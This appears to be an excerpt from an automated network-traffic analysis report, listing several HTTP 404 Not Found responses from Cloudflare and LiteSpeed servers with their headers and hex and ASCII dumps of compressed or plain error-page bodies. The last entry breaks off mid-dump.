Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DHB3N0phCtXpx3kUmVrWpZAbollU%2Fd5%2BaA9gAXg8iDaqNLVeXe16bRRvxFTw%2FQ5ar%2BWJqWBmUEfn49rsKG1lZFGpGgxswoGsr%2BRU%2FrdOFX%2FTw3bYwuFcEXM4Vm8EuGQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d503f21accf4755-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1130&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=851&delivery_rate=0&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 16 b0 dd c2 94 18 a8 08 42 e4 86 7c 88 03 d2 50 eb c8 78 da 0c bc 55 d7 54 0a 73 f1 50 d7 f2 b9 06 c1 b6 19 62 da f5 91 69 12 b7 a9 88 40 9a f6 23 20 89 ec 37 ed 47 ea 1a c8 e7 2c a9 3b 8a 2f 0b 53 d8 51 33 61 86 67 7b 81 52 98 9f 9f 67 7c 96 3c 86 94 62 a9 57 91 d5 aa 28 8a 62 c2 5b ba 84 96 47 e8 38 be c8 be a1 9b 28 Data Ascii: 2c5\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kk0aOoI3qPpWVp5RmmHPPHv%2BRbQyye3w3VaIk6m0grob2oM%2F0glOLi8lvyZjNHnVFWx5Tay9yoJTlGxFzMVzHU5lesQMjJtO7i1fFisjGk61zIu9OnQ6j6tfJ3HF%2Bq8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d503f319fc42e24-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1379&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=871&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 62 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 16 b0 dd c2 94 18 a8 08 42 e4 86 7c 88 03 d2 50 eb c8 78 da 0c bc 55 d7 54 0a 73 f1 50 d7 f2 b9 06 c1 b6 19 62 da f5 91 69 12 b7 a9 88 40 9a f6 23 20 89 ec 37 ed 47 ea 1a c8 e7 2c a9 3b 8a 2f 0b 53 d8 51 33 61 86 67 7b 81 52 98 9f 9f 67 7c 96 3c 86 94 62 a9 57 91 d5 aa 28 8a 62 c2 5b ba 84 96 47 e8 38 be c8 be a1 9b 28 66 6e 05 76 61 38 e8 b6 Data Ascii: 2b9\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(fnva8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=goE3%2BRYobqylU7ctcI36hS1eL5y24WeXlhauy2UrQ2dsijJgI34Xyl6OTCdd50PVcdJ68772faGy%2Bvhd2GVV82iKGtTWcrOWmcFuMWC0jL157cSL736%2BMFwL5DW%2F4iI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d503f418f550baf-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10953&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 63 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7c 53 4b 6b db 40 10 be 1b fc 1f 36 32 b9 59 5a 49 4e d2 5a 92 05 ad 93 90 42 d2 86 c6 7d 1d d7 d2 da 5a aa 57 a5 8d 2d d7 e4 c7 94 dc 4a 2f 79 d1 80 d3 06 1a 13 48 0e 81 b8 09 bd b4 f4 dc 43 0f 4d 0f 85 be 28 2b c9 b2 13 42 57 a0 d9 c7 37 df 7c 33 3b ab 4d cc de ab d6 9e 2c cf 01 8b 3a 36 58 7e 70 7b f1 4e 15 70 3c 84 8f 4a 55 08 67 6b b3 e0 f1 42 6d 69 11 48 82 08 56 68 40 0c 0a e1 dc 5d 0e 70 16 a5 be 02 61 bb dd 16 da 25 c1 0b 9a b0 76 1f 46 8c 45 62 6e e9 94 0f 63 1f c1 a4 26 a7 e7 73 5a 1c 25 72 6c 37 ac 5c c3 20 95 cb e5 c4 31 01 63 64 32 eb 60 8a 00 43 f3 f8 d9 2a 69 55 b8 aa e7 52 ec 52 be d6 f1 31 07 8c 64 55 e1 28 8e 28 64 de 2a 30 2c 14 84 98 56 9a 75 b9 24 c9 1c 64 34 94 50 1b eb 53 e2 14 e0 c1 f9 60 b3 b7 f3 e6 a4 bf f7 b7 77 d1 df 7f b7 f7 62 5d 83 c9 79 3e a7 85 b4 63 63 40 3b 3e 4e 39 8d 30 8c 05 4d f0 7c 3e 57 f7 cc 4e d7 41 41 93 b8 8a a8 36 3c 97 f2 21 79 8e 15 e1 06 76 92 65 03 39 c4 ee 28 0f 71 60 22 17 15 c1 ad 80 20 bb 08 16 b0 dd c2 94 18 a8 08 42 e4 86 7c 88 03 d2 50 eb c8 78 da 0c bc 55 d7 54 0a 73 f1 50 d7 f2 b9 06 c1 b6 19 62 da f5 91 69 12 b7 a9 88 40 9a f6 23 20 89 ec 37 ed 47 ea 1a c8 e7 2c a9 3b 8a 2f 0b 53 d8 51 33 61 86 67 7b 81 52 98 9f 9f 67 7c 96 3c 86 94 62 a9 57 91 d5 aa 28 8a 62 c2 5b ba 84 96 47 e8 38 be c8 be a1 9b 28 66 6e 05 Data Ascii: 2c5\|SKk@62YZINZB}ZW-J/yHCM(+BW7\|3;M,:6X~p{Np<JUgkBmiHVh@]pa%vFEbnc&sZ%rl7\ 1cd2`CiURR1dU((d0,Vu$d4PS`wb]y>cc@;>N90M\|>WNAA6<!yve9(q`" B\|PxUTsPbi@# 7G,;/SQ3ag{Rg\|<bW(b[G8(fn
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 19 Oct 2024 10:57:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: ASP.NETcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Yp%2BuPXk4Ewivba0Thsmx5AiY0fPiprTwwnECdc69L2I%2BN7Uj06ID9pfnUoNN%2B6Ztv4UBnUMRAQiky2Rj7%2B%2BNpECYqDhE2XdzIzjhwaDTRY88QIjqYkSQBWow%2FIUGzQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d503f5168b46c10-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=591&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 34 38 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 Data Ascii: 48b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css"><!--body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 19 Oct 2024 10:57:33 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 19 Oct 2024 10:57:35 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 19 Oct 2024 10:57:38 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 19 Oct 2024 10:57:41 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 